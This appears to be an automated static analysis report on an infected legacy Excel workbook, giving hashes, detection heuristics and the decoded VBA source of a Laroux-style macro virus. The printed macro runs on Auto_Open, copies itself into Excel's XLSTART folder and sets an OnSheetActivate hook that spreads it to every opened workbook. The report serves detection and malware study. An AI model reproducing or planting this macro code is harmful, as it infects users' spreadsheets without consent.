Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 a3f28d783b4a6e64…

MALICIOUS

Office (OLE) / .XLS

1.60 MB Created: 2023-02-15 05:05:55 Authoring application: Microsoft Excel First seen: 2026-06-13
MD5: 514e03281b0064e55f485e92c2e9b5f1 SHA-1: cf9bbfeb7f430645d17b0c1f95fbe3341decef99 SHA-256: a3f28d783b4a6e642a27c87f8d24a5bf3186fd5803e3c7cc7a30e03e10a8a36c
230 Risk Score

Heuristics 7

  • ClamAV: Xls.Virus.Valyria-10004391-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Valyria-10004391-0
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.10.10.30/STANDARD/HMS/A311.XLS In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1462 bytes
SHA-256: ebdbdf59932c79e00913efb865aed1d6e01fcf2707bf4a52995e1079bb961ceb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"


Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel1.xls"
Application.DisplayAlerts = Triue
Application.EnableEvents = True
Application.ScreenUpdating = True
Application.DisplayStatusBar = True


On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel1.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel1.xls!allocated"
End Sub



Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then
    Application.ScreenUpdating = True
    Application.DisplayStatusBar = True
    currentsh = ActiveSheet.name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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